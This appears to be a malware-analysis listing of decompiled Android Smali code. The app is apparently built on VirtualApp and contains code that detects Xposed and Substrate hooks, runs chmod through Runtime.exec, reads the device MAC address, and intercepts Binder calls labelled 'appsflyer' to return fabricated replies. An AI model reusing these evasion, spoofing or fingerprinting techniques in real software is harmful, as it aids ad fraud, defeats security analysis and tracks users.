                              52const-string v4, "_VA_|_splash_"
                              54invoke-virtual {p3, v2}, Landroid/content/Intent;->toUri(I)Ljava/lang/String;
                              55move-result-object v5
                              57invoke-virtual {v3, v4, v5}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Ljava/lang/String;)Landroid/content/Intent;
                              58cond_4c:
                              59const-string v4, "_VA_|_intent_"
                              61invoke-virtual {v3, v4, v1}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Landroid/os/Parcelable;)Landroid/content/Intent;
                              63const-string v4, "_VA_|_uri_"
                              65invoke-virtual {v1, v2}, Landroid/content/Intent;->toUri(I)Ljava/lang/String;
                              66move-result-object v1
                              68invoke-virtual {v3, v4, v1}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Ljava/lang/String;)Landroid/content/Intent;
                              70const-string v1, "_VA_|_user_id_"
                              72invoke-static {}, Lcom/lody/virtual/os/VUserHandle;->myUserId()I
                              73move-result v2
                              75invoke-virtual {v3, v1, v2}, Landroid/content/Intent;->putExtra(Ljava/lang/String;I)Landroid/content/Intent;
                              76new-instance v1, Landroid/content/Intent;
                              78invoke-direct {v1}, Landroid/content/Intent;-><init>()V
                              80const-string v2, "android.intent.extra.shortcut.INTENT"
                              82invoke-virtual {v1, v2, v3}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Landroid/os/Parcelable;)Landroid/content/Intent;
                              84const-string v2, "android.intent.extra.shortcut.NAME"
                              86invoke-virtual {v1, v2, v0}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Ljava/lang/String;)Landroid/content/Intent;
                              88const-string v0, "com.android.launcher.action.UNINSTALL_SHORTCUT"
                              90invoke-virtual {v1, v0}, Landroid/content/Intent;->setAction(Ljava/lang/String;)Landroid/content/Intent;
                              92iget-object v0, p0, Lcom/lody/virtual/client/core/VirtualCore;->context:Landroid/content/Context;
                              94invoke-virtual {v0, v1}, Landroid/content/Context;->sendBroadcast(Landroid/content/Intent;)V
                              95const/4 v0, 0x1
                              96goto/16 :goto_8
                              97cond_7e: move-object v0, v1
                              98goto/16 :goto_23
                              Cross References
                              APIs
                              • java.lang.StringBuffer.<init>
                              • java.lang.StringBuffer.append
                              • java.lang.StringBuffer.append
                              • java.lang.StringBuffer.append
                              • java.lang.StringBuffer.append
                              • java.lang.StringBuffer.<init>
                              • java.lang.StringBuffer.append
                              • java.lang.StringBuffer.append
                              • java.lang.StringBuffer.append
                              • java.lang.StringBuffer.append
                              • android.os.Build.MODEL:Ljava/lang/String
                              • java.lang.StringBuffer.append
                              • java.lang.StringBuffer.append
                              • android.os.Build$VERSION.RELEASE:Ljava/lang/String
                              • java.lang.StringBuffer.append
                              • java.lang.StringBuffer.append
                              • java.lang.StringBuffer.append
                              • java.lang.StringBuffer.toString
                              • java.net.URLEncoder.encode
                              • java.lang.StringBuffer.append
                              • java.lang.StringBuffer.toString
                              Strings
                              • Android
                              • /
                              • 6.0.9
                              • UTF-8
                              Position Instruction Meta Information
                              0.prologue
                              1new-instance v0, Ljava/lang/StringBuffer;
                              3invoke-direct {v0}, Ljava/lang/StringBuffer;-><init>()V
                              5const-string v1, "Android"
                              7invoke-virtual {v0, v1}, Ljava/lang/StringBuffer;->append(Ljava/lang/String;)Ljava/lang/StringBuffer;
                              9const-string v1, "/"
                              11invoke-virtual {v0, v1}, Ljava/lang/StringBuffer;->append(Ljava/lang/String;)Ljava/lang/StringBuffer;
                              13const-string v1, "6.0.9"
                              15invoke-virtual {v0, v1}, Ljava/lang/StringBuffer;->append(Ljava/lang/String;)Ljava/lang/StringBuffer;
                              17const-string v1, " "
                              19invoke-virtual {v0, v1}, Ljava/lang/StringBuffer;->append(Ljava/lang/String;)Ljava/lang/StringBuffer;
                              20try_start_19: new-instance v1, Ljava/lang/StringBuffer;
                              22invoke-direct {v1}, Ljava/lang/StringBuffer;-><init>()V
                              24invoke-static {p1}, Lb/a/at;->s(Landroid/content/Context;)Ljava/lang/String;
                              25move-result-object v2
                              27invoke-virtual {v1, v2}, Ljava/lang/StringBuffer;->append(Ljava/lang/String;)Ljava/lang/StringBuffer;
                              29const-string v2, "/"
                              31invoke-virtual {v1, v2}, Ljava/lang/StringBuffer;->append(Ljava/lang/String;)Ljava/lang/StringBuffer;
                              33invoke-static {p1}, Lb/a/at;->b(Landroid/content/Context;)Ljava/lang/String;
                              34move-result-object v2
                              36invoke-virtual {v1, v2}, Ljava/lang/StringBuffer;->append(Ljava/lang/String;)Ljava/lang/StringBuffer;
                              38const-string v2, " "
                              40invoke-virtual {v1, v2}, Ljava/lang/StringBuffer;->append(Ljava/lang/String;)Ljava/lang/StringBuffer;
                              42sget-object v2, Landroid/os/Build;->MODEL:Ljava/lang/String;
                              44invoke-virtual {v1, v2}, Ljava/lang/StringBuffer;->append(Ljava/lang/String;)Ljava/lang/StringBuffer;
                              46const-string v2, "/"
                              48invoke-virtual {v1, v2}, Ljava/lang/StringBuffer;->append(Ljava/lang/String;)Ljava/lang/StringBuffer;
                              50sget-object v2, Landroid/os/Build$VERSION;->RELEASE:Ljava/lang/String;
                              52invoke-virtual {v1, v2}, Ljava/lang/StringBuffer;->append(Ljava/lang/String;)Ljava/lang/StringBuffer;
                              54const-string v2, " "
                              56invoke-virtual {v1, v2}, Ljava/lang/StringBuffer;->append(Ljava/lang/String;)Ljava/lang/StringBuffer;
                              58invoke-static {p1}, Lcom/a/a/a;->a(Landroid/content/Context;)Ljava/lang/String;
                              59move-result-object v2
                              61invoke-static {v2}, Lb/a/au;->a(Ljava/lang/String;)Ljava/lang/String;
                              62move-result-object v2
                              64invoke-virtual {v1, v2}, Ljava/lang/StringBuffer;->append(Ljava/lang/String;)Ljava/lang/StringBuffer;
                              66invoke-virtual {v1}, Ljava/lang/StringBuffer;->toString()Ljava/lang/String;
                              67move-result-object v1
                              69const-string v2, "UTF-8"
                              71invoke-static {v1, v2}, Ljava/net/URLEncoder;->encode(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
                              72move-result-object v1
                              74invoke-virtual {v0, v1}, Ljava/lang/StringBuffer;->append(Ljava/lang/String;)Ljava/lang/StringBuffer;
                              75goto_62:
                              76invoke-virtual {v0}, Ljava/lang/StringBuffer;->toString()Ljava/lang/String;
                              77move-result-object v0
                              78return-object v0
                              79catch_67: move-exception v1
                              80goto/16 :goto_62
                              Cross References
                              APIs
                              • java.lang.Exception.<init>
                              • java.lang.Exception.getStackTrace
                              • java.lang.StackTraceElement.getClassName
                              • java.lang.String.equals
                              • java.lang.StackTraceElement.getClassName
                              • java.lang.String.equals
                              • java.lang.StackTraceElement.getMethodName
                              • java.lang.String.equals
                              • java.lang.StackTraceElement.getClassName
                              • java.lang.String.equals
                              • java.lang.StackTraceElement.getMethodName
                              • java.lang.String.equals
                              • java.lang.StackTraceElement.getClassName
                              • java.lang.String.equals
                              • java.lang.StackTraceElement.getMethodName
                              • java.lang.String.equals
                              Strings
                              • findhook
                              • com.android.internal.os.ZygoteInit
                              • com.saurik.substrate.MS$2
                              • invoked
                              • de.robv.android.xposed.XposedBridge
                              • main
                              • handleHookedMethod
                              Position Instruction Meta Information
                              0.prologue
                              1const/4 v2, 0x0
                              2const/4 v1, 0x1
                              3try_start_2: new-instance v0, Ljava/lang/Exception;
                              5const-string/jumbo v3, "findhook"
                              7invoke-direct {v0, v3}, Ljava/lang/Exception;-><init>(Ljava/lang/String;)V
                              8throw v0
                              9catch_b: move-exception v0
                              11invoke-virtual {v0}, Ljava/lang/Exception;->getStackTrace()[Ljava/lang/StackTraceElement;
                              12move-result-object v4
                              13array-length v5, v4
                              14move v3, v2
                              15move v0, v2
                              16goto_13: if-ge v3, v5, :cond_82
                              17aget-object v6, v4, v3
                              19invoke-virtual {v6}, Ljava/lang/StackTraceElement;->getClassName()Ljava/lang/String;
                              20move-result-object v7
                              22const-string/jumbo v8, "com.android.internal.os.ZygoteInit"
                              24invoke-virtual {v7, v8}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                              25move-result v7
                              26if-eqz v7, :cond_2b
                              27add-int/lit8 v0, v0, 0x1
                              28const/4 v7, 0x2
                              29if-ne v0, v7, :cond_2b
                              30move v0, v1
                              31goto_2a: return v0
                              32cond_2b:
                              33invoke-virtual {v6}, Ljava/lang/StackTraceElement;->getClassName()Ljava/lang/String;
                              34move-result-object v7
                              36const-string/jumbo v8, "com.saurik.substrate.MS$2"
                              38invoke-virtual {v7, v8}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                              39move-result v7
                              40if-eqz v7, :cond_47
                              42invoke-virtual {v6}, Ljava/lang/StackTraceElement;->getMethodName()Ljava/lang/String;
                              43move-result-object v7
                              45const-string/jumbo v8, "invoked"
                              47invoke-virtual {v7, v8}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                              48move-result v7
                              49if-eqz v7, :cond_47
                              50move v0, v1
                              51goto/16 :goto_2a
                              52cond_47:
                              53invoke-virtual {v6}, Ljava/lang/StackTraceElement;->getClassName()Ljava/lang/String;
                              54move-result-object v7
                              56const-string/jumbo v8, "de.robv.android.xposed.XposedBridge"
                              58invoke-virtual {v7, v8}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                              59move-result v7
                              60if-eqz v7, :cond_63
                              62invoke-virtual {v6}, Ljava/lang/StackTraceElement;->getMethodName()Ljava/lang/String;
                              63move-result-object v7
                              65const-string/jumbo v8, "main"
                              67invoke-virtual {v7, v8}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                              68move-result v7
                              69if-eqz v7, :cond_63
                              70move v0, v1
                              71goto/16 :goto_2a
                              72cond_63:
                              73invoke-virtual {v6}, Ljava/lang/StackTraceElement;->getClassName()Ljava/lang/String;
                              74move-result-object v7
                              76const-string/jumbo v8, "de.robv.android.xposed.XposedBridge"
                              78invoke-virtual {v7, v8}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                              79move-result v7
                              80if-eqz v7, :cond_7f
                              82invoke-virtual {v6}, Ljava/lang/StackTraceElement;->getMethodName()Ljava/lang/String;
                              83move-result-object v6
                              85const-string/jumbo v7, "handleHookedMethod"
                              87invoke-virtual {v6, v7}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                              88move-result v6
                              89if-eqz v6, :cond_7f
                              90move v0, v1
                              91goto/16 :goto_2a
                              92cond_7f: add-int/lit8 v3, v3, 0x1
                              93goto/16 :goto_13
                              94cond_82: move v0, v2
                              95goto/16 :goto_2a
                              Cross References
                              APIs
                              • java.lang.Exception.<init>
                              • java.lang.Exception.getStackTrace
                              • java.lang.StackTraceElement.getClassName
                              • java.lang.String.equals
                              • java.lang.StackTraceElement.getClassName
                              • java.lang.String.equals
                              • java.lang.StackTraceElement.getMethodName
                              • java.lang.String.equals
                              • java.lang.StackTraceElement.getClassName
                              • java.lang.String.equals
                              • java.lang.StackTraceElement.getMethodName
                              • java.lang.String.equals
                              • java.lang.StackTraceElement.getClassName
                              • java.lang.String.equals
                              • java.lang.StackTraceElement.getMethodName
                              • java.lang.String.equals
                              Strings
                              • findhook
                              • com.android.internal.os.ZygoteInit
                              • com.saurik.substrate.MS$2
                              • invoked
                              • de.robv.android.xposed.XposedBridge
                              • main
                              • handleHookedMethod
                              Position Instruction Meta Information
                              0.prologue
                              1const/4 v2, 0x0
                              2const/4 v1, 0x1
                              3try_start_2: new-instance v0, Ljava/lang/Exception;
                              5const-string/jumbo v3, "findhook"
                              7invoke-direct {v0, v3}, Ljava/lang/Exception;-><init>(Ljava/lang/String;)V
                              8throw v0
                              9catch_b: move-exception v0
                              11invoke-virtual {v0}, Ljava/lang/Exception;->getStackTrace()[Ljava/lang/StackTraceElement;
                              12move-result-object v4
                              13array-length v5, v4
                              14move v3, v2
                              15move v0, v2
                              16goto_13: if-ge v3, v5, :cond_82
                              17aget-object v6, v4, v3
                              19invoke-virtual {v6}, Ljava/lang/StackTraceElement;->getClassName()Ljava/lang/String;
                              20move-result-object v7
                              22const-string/jumbo v8, "com.android.internal.os.ZygoteInit"
                              24invoke-virtual {v7, v8}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                              25move-result v7
                              26if-eqz v7, :cond_2b
                              27add-int/lit8 v0, v0, 0x1
                              28const/4 v7, 0x2
                              29if-ne v0, v7, :cond_2b
                              30move v0, v1
                              31goto_2a: return v0
                              32cond_2b:
                              33invoke-virtual {v6}, Ljava/lang/StackTraceElement;->getClassName()Ljava/lang/String;
                              34move-result-object v7
                              36const-string/jumbo v8, "com.saurik.substrate.MS$2"
                              38invoke-virtual {v7, v8}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                              39move-result v7
                              40if-eqz v7, :cond_47
                              42invoke-virtual {v6}, Ljava/lang/StackTraceElement;->getMethodName()Ljava/lang/String;
                              43move-result-object v7
                              45const-string/jumbo v8, "invoked"
                              47invoke-virtual {v7, v8}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                              48move-result v7
                              49if-eqz v7, :cond_47
                              50move v0, v1
                              51goto/16 :goto_2a
                              52cond_47:
                              53invoke-virtual {v6}, Ljava/lang/StackTraceElement;->getClassName()Ljava/lang/String;
                              54move-result-object v7
                              56const-string/jumbo v8, "de.robv.android.xposed.XposedBridge"
                              58invoke-virtual {v7, v8}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                              59move-result v7
                              60if-eqz v7, :cond_63
                              62invoke-virtual {v6}, Ljava/lang/StackTraceElement;->getMethodName()Ljava/lang/String;
                              63move-result-object v7
                              65const-string/jumbo v8, "main"
                              67invoke-virtual {v7, v8}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                              68move-result v7
                              69if-eqz v7, :cond_63
                              70move v0, v1
                              71goto/16 :goto_2a
                              72cond_63:
                              73invoke-virtual {v6}, Ljava/lang/StackTraceElement;->getClassName()Ljava/lang/String;
                              74move-result-object v7
                              76const-string/jumbo v8, "de.robv.android.xposed.XposedBridge"
                              78invoke-virtual {v7, v8}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                              79move-result v7
                              80if-eqz v7, :cond_7f
                              82invoke-virtual {v6}, Ljava/lang/StackTraceElement;->getMethodName()Ljava/lang/String;
                              83move-result-object v6
                              85const-string/jumbo v7, "handleHookedMethod"
                              87invoke-virtual {v6, v7}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                              88move-result v6
                              89if-eqz v6, :cond_7f
                              90move v0, v1
                              91goto/16 :goto_2a
                              92cond_7f: add-int/lit8 v3, v3, 0x1
                              93goto/16 :goto_13
                              94cond_82: move v0, v2
                              95goto/16 :goto_2a
                              Cross References
                              APIs
                              • android.system.Os.chmod
                              • java.io.File.<init>
                              • java.io.File.isDirectory
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • java.lang.Integer.valueOf
                              • java.lang.String.format
                              • java.lang.Runtime.getRuntime
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • java.lang.Runtime.exec
                              • java.lang.Process.waitFor
                              Strings
                              • chmod
                              • -R
                              • %o
                              Position Instruction Meta Information
                              0.prologue
                              1sget v0, Landroid/os/Build$VERSION;->SDK_INT:I
                              2const/16 v1, 0x15
                              3if-lt v0, v1, :cond_b
                              4try_start_6:
                              5invoke-static {p0, p1}, Landroid/system/Os;->chmod(Ljava/lang/String;I)V
                              6goto_9: return-void
                              7catch_a: move-exception v0
                              8cond_b: new-instance v1, Ljava/io/File;
                              10invoke-direct {v1, p0}, Ljava/io/File;-><init>(Ljava/lang/String;)V
                              12const-string v0, "chmod "
                              14invoke-virtual {v1}, Ljava/io/File;->isDirectory()Z
                              15move-result v1
                              16if-eqz v1, :cond_2b
                              17new-instance v1, Ljava/lang/StringBuilder;
                              19invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
                              21invoke-virtual {v1, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              22move-result-object v0
                              24const-string v1, " -R "
                              26invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              27move-result-object v0
                              29invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              30move-result-object v0
                              31cond_2b:
                              32const-string v1, "%o"
                              33const/4 v2, 0x1
                              34new-array v2, v2, [Ljava/lang/Object;
                              35const/4 v3, 0x0
                              37invoke-static {p1}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                              38move-result-object v4
                              39aput-object v4, v2, v3
                              41invoke-static {v1, v2}, Ljava/lang/String;->format(Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String;
                              42move-result-object v1
                              44invoke-static {}, Ljava/lang/Runtime;->getRuntime()Ljava/lang/Runtime;
                              45move-result-object v2
                              46new-instance v3, Ljava/lang/StringBuilder;
                              48invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
                              50invoke-virtual {v3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              51move-result-object v0
                              53invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              54move-result-object v0
                              56const-string v1, " "
                              58invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              59move-result-object v0
                              61invoke-virtual {v0, p0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              62move-result-object v0
                              64invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              65move-result-object v0
                              67invoke-virtual {v2, v0}, Ljava/lang/Runtime;->exec(Ljava/lang/String;)Ljava/lang/Process;
                              68move-result-object v0
                              70invoke-virtual {v0}, Ljava/lang/Process;->waitFor()I
                              71goto/16 :goto_9
                              APIs
                              • java.lang.reflect.Method.getName
                              • java.lang.String.equals
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • java.lang.reflect.Method.getName
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • java.lang.Integer.intValue
                              • android.os.Parcel.writeNoException
                              • android.os.Parcel.writeInt
                              • android.os.Bundle.writeToParcel
                              • android.os.Binder.<init>
                              • java.lang.reflect.Method.invoke
                              • android.os.Parcel.writeInt
                              • android.app.IServiceConnection.asBinder
                              • java.lang.reflect.Method.invoke
                              Strings
                              • transact
                              • appsflyer onBindService
                              • appsflyerFlag
                              • 1
                              • 2
                              Position Instruction Meta Information
                              0.prologue
                              1const/4 v5, 0x2
                              2const/4 v4, 0x1
                              3const/4 v3, 0x0
                              5const-string v0, "transact"
                              7invoke-virtual {p2}, Ljava/lang/reflect/Method;->getName()Ljava/lang/String;
                              8move-result-object v1
                              10invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                              11move-result v0
                              12if-eqz v0, :cond_7a
                              14iget-object v0, p0, Lcom/core/model/c$1$1;->b:Lcom/core/model/c$1;
                              16iget-object v0, v0, Lcom/core/model/c$1;->a:Landroid/content/Context;
                              17new-instance v1, Ljava/lang/StringBuilder;
                              19invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
                              21const-string v2, "appsflyer onBindService "
                              23invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              24move-result-object v1
                              26invoke-virtual {p2}, Ljava/lang/reflect/Method;->getName()Ljava/lang/String;
                              27move-result-object v2
                              29invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              30move-result-object v1
                              32invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              33move-result-object v1
                              35invoke-static {v0, v1}, Lcom/core/model/h;->a(Landroid/content/Context;Ljava/lang/String;)V
                              36aget-object v0, p3, v3
                              37instance-of v0, v0, Ljava/lang/Integer;
                              38if-eqz v0, :cond_7a
                              39aget-object v0, p3, v3
                              40check-cast v0, Ljava/lang/Integer;
                              42invoke-virtual {v0}, Ljava/lang/Integer;->intValue()I
                              43move-result v1
                              44aget-object v0, p3, v5
                              45check-cast v0, Landroid/os/Parcel;
                              46if-ne v1, v4, :cond_7a
                              48iget-object v1, p0, Lcom/core/model/c$1$1;->b:Lcom/core/model/c$1;
                              50iget-object v1, v1, Lcom/core/model/c$1;->a:Landroid/content/Context;
                              52invoke-static {v1}, Lcom/core/model/c;->b(Landroid/content/Context;)Landroid/os/Bundle;
                              53move-result-object v1
                              55invoke-virtual {v0}, Landroid/os/Parcel;->writeNoException()V
                              56if-eqz v1, :cond_6b
                              58invoke-virtual {v0, v4}, Landroid/os/Parcel;->writeInt(I)V
                              60invoke-virtual {v1, v0, v4}, Landroid/os/Bundle;->writeToParcel(Landroid/os/Parcel;I)V
                              62iget-object v1, p0, Lcom/core/model/c$1$1;->b:Lcom/core/model/c$1;
                              64iget-object v1, v1, Lcom/core/model/c$1;->a:Landroid/content/Context;
                              66const-string v2, "appsflyerFlag"
                              68const-string v3, "1"
                              70invoke-static {v1, v2, v3}, Lcom/core/model/k;->a(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;)V
                              71goto_5f: aput-object v0, p3, v5
                              72new-instance v0, Landroid/os/Binder;
                              74invoke-direct {v0}, Landroid/os/Binder;-><init>()V
                              76invoke-virtual {p2, v0, p3}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              77move-result-object v0
                              78goto_6a: return-object v0
                              79cond_6b:
                              80invoke-virtual {v0, v3}, Landroid/os/Parcel;->writeInt(I)V
                              82iget-object v1, p0, Lcom/core/model/c$1$1;->b:Lcom/core/model/c$1;
                              84iget-object v1, v1, Lcom/core/model/c$1;->a:Landroid/content/Context;
                              86const-string v2, "appsflyerFlag"
                              88const-string v3, "2"
                              90invoke-static {v1, v2, v3}, Lcom/core/model/k;->a(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;)V
                              91goto/16 :goto_5f
                              92cond_7a:
                              93iget-object v0, p0, Lcom/core/model/c$1$1;->a:Landroid/app/IServiceConnection;
                              95invoke-interface {v0}, Landroid/app/IServiceConnection;->asBinder()Landroid/os/IBinder;
                              96move-result-object v0
                              98invoke-virtual {p2, v0, p3}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              99move-result-object v0
                              100goto/16 :goto_6a
                              APIs
                              • java.lang.reflect.Method.getName
                              • java.lang.String.equals
                              • java.lang.Integer.intValue
                              • java.lang.Integer.intValue
                              • android.os.Parcel.writeNoException
                              • com.core.model.MApplication.access$100
                              • android.os.Parcel.writeString
                              • android.os.Parcel.setDataPosition
                              • android.os.Binder.<init>
                              • java.lang.Integer.valueOf
                              • java.lang.Integer.valueOf
                              • java.lang.reflect.Method.invoke
                              • android.os.Parcel.writeNoException
                              • android.os.Parcel.writeInt
                              • android.os.Binder.<init>
                              • java.lang.Integer.valueOf
                              • java.lang.Integer.valueOf
                              • java.lang.reflect.Method.invoke
                              • android.app.IServiceConnection.asBinder
                              • java.lang.reflect.Method.invoke
                              Strings
                              • transact
                              Position Instruction Meta Information
                              0.prologue
                              1const/4 v5, 0x4
                              2const/4 v9, 0x3
                              3const/4 v8, 0x2
                              4const/4 v7, 0x1
                              5const/4 v6, 0x0
                              7const-string v0, "transact"
                              9invoke-virtual {p2}, Ljava/lang/reflect/Method;->getName()Ljava/lang/String;
                              10move-result-object v1
                              12invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                              13move-result v0
                              14if-eqz v0, :cond_7e
                              15aget-object v0, p3, v6
                              16check-cast v0, Ljava/lang/Integer;
                              18invoke-virtual {v0}, Ljava/lang/Integer;->intValue()I
                              19move-result v3
                              20aget-object v0, p3, v7
                              21check-cast v0, Landroid/os/Parcel;
                              22aget-object v1, p3, v8
                              23check-cast v1, Landroid/os/Parcel;
                              24aget-object v2, p3, v9
                              25check-cast v2, Ljava/lang/Integer;
                              27invoke-virtual {v2}, Ljava/lang/Integer;->intValue()I
                              28move-result v2
                              29if-ne v3, v7, :cond_5a
                              31invoke-virtual {v1}, Landroid/os/Parcel;->writeNoException()V
                              33iget-object v4, p0, Lcom/core/model/MApplication$3$1$1;->b:Lcom/core/model/MApplication$3$1;
                              35iget-object v4, v4, Lcom/core/model/MApplication$3$1;->a:Lcom/core/model/MApplication$3;
                              37iget-object v4, v4, Lcom/core/model/MApplication$3;->b:Lcom/core/model/MApplication;
                              39invoke-static {v4}, Lcom/core/model/MApplication;->access$100(Lcom/core/model/MApplication;)Ljava/lang/String;
                              40move-result-object v4
                              42invoke-virtual {v1, v4}, Landroid/os/Parcel;->writeString(Ljava/lang/String;)V
                              44invoke-virtual {v1, v6}, Landroid/os/Parcel;->setDataPosition(I)V
                              45new-instance v4, Landroid/os/Binder;
                              47invoke-direct {v4}, Landroid/os/Binder;-><init>()V
                              48new-array v5, v5, [Ljava/lang/Object;
                              50invoke-static {v3}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                              51move-result-object v3
                              52aput-object v3, v5, v6
                              53aput-object v0, v5, v7
                              54aput-object v1, v5, v8
                              56invoke-static {v2}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                              57move-result-object v0
                              58aput-object v0, v5, v9
                              60invoke-virtual {p2, v4, v5}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              61move-result-object v0
                              62goto_59: return-object v0
                              63cond_5a: if-ne v3, v8, :cond_7e
                              65invoke-virtual {v1}, Landroid/os/Parcel;->writeNoException()V
                              67invoke-virtual {v1, v6}, Landroid/os/Parcel;->writeInt(I)V
                              68new-instance v4, Landroid/os/Binder;
                              70invoke-direct {v4}, Landroid/os/Binder;-><init>()V
                              71new-array v5, v5, [Ljava/lang/Object;
                              73invoke-static {v3}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                              74move-result-object v3
                              75aput-object v3, v5, v6
                              76aput-object v0, v5, v7
                              77aput-object v1, v5, v8
                              79invoke-static {v2}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                              80move-result-object v0
                              81aput-object v0, v5, v9
                              83invoke-virtual {p2, v4, v5}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              84move-result-object v0
                              85goto/16 :goto_59
                              86cond_7e:
                              87iget-object v0, p0, Lcom/core/model/MApplication$3$1$1;->a:Landroid/app/IServiceConnection;
                              89invoke-interface {v0}, Landroid/app/IServiceConnection;->asBinder()Landroid/os/IBinder;
                              90move-result-object v0
                              92invoke-virtual {p2, v0, p3}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              93move-result-object v0
                              94goto/16 :goto_59
                              Cross References
                              APIs
                              • java.net.NetworkInterface.getNetworkInterfaces
                              • java.util.Enumeration.hasMoreElements
                              • java.util.Enumeration.nextElement
                              • java.net.NetworkInterface.getName
                              • java.lang.String.equals
                              • java.net.NetworkInterface.getName
                              • java.lang.String.equals
                              • java.net.NetworkInterface.getHardwareAddress
                              • java.lang.StringBuilder.<init>
                              • java.lang.Byte.valueOf
                              • java.lang.String.format
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.length
                              • java.lang.StringBuilder.length
                              • java.lang.StringBuilder.deleteCharAt
                              • java.lang.StringBuilder.toString
                              • java.util.Locale.getDefault
                              • java.lang.String.toLowerCase
                              Strings
                              • wlan0
                              • eth0
                              • %02X:
                              Position Instruction Meta Information
                              0.prologue
                              1const/4 v1, 0x0
                              2const/4 v2, 0x0
                              3try_start_2:
                              4invoke-static {}, Ljava/net/NetworkInterface;->getNetworkInterfaces()Ljava/util/Enumeration;
                              5move-result-object v3
                              6cond_6:
                              7invoke-interface {v3}, Ljava/util/Enumeration;->hasMoreElements()Z
                              8move-result v0
                              9if-eqz v0, :cond_73
                              11invoke-interface {v3}, Ljava/util/Enumeration;->nextElement()Ljava/lang/Object;
                              12move-result-object v0
                              13check-cast v0, Ljava/net/NetworkInterface;
                              15const-string v4, "wlan0"
                              17invoke-virtual {v0}, Ljava/net/NetworkInterface;->getName()Ljava/lang/String;
                              18move-result-object v5
                              20invoke-virtual {v4, v5}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                              21move-result v4
                              22if-nez v4, :cond_2a
                              24const-string v4, "eth0"
                              26invoke-virtual {v0}, Ljava/net/NetworkInterface;->getName()Ljava/lang/String;
                              27move-result-object v5
                              29invoke-virtual {v4, v5}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                              30move-result v4
                              31if-eqz v4, :cond_6
                              32cond_2a:
                              33invoke-virtual {v0}, Ljava/net/NetworkInterface;->getHardwareAddress()[B
                              34move-result-object v3
                              35if-eqz v3, :cond_33
                              36array-length v0, v3
                              37if-nez v0, :cond_35
                              38cond_33: move-object v0, v1
                              39goto_34: return-object v0
                              40cond_35: new-instance v4, Ljava/lang/StringBuilder;
                              42invoke-direct {v4}, Ljava/lang/StringBuilder;-><init>()V
                              43array-length v5, v3
                              44move v0, v2
                              45goto_3c: if-ge v0, v5, :cond_56
                              46aget-byte v2, v3, v0
                              48const-string v6, "%02X:"
                              49const/4 v7, 0x1
                              50new-array v7, v7, [Ljava/lang/Object;
                              51const/4 v8, 0x0
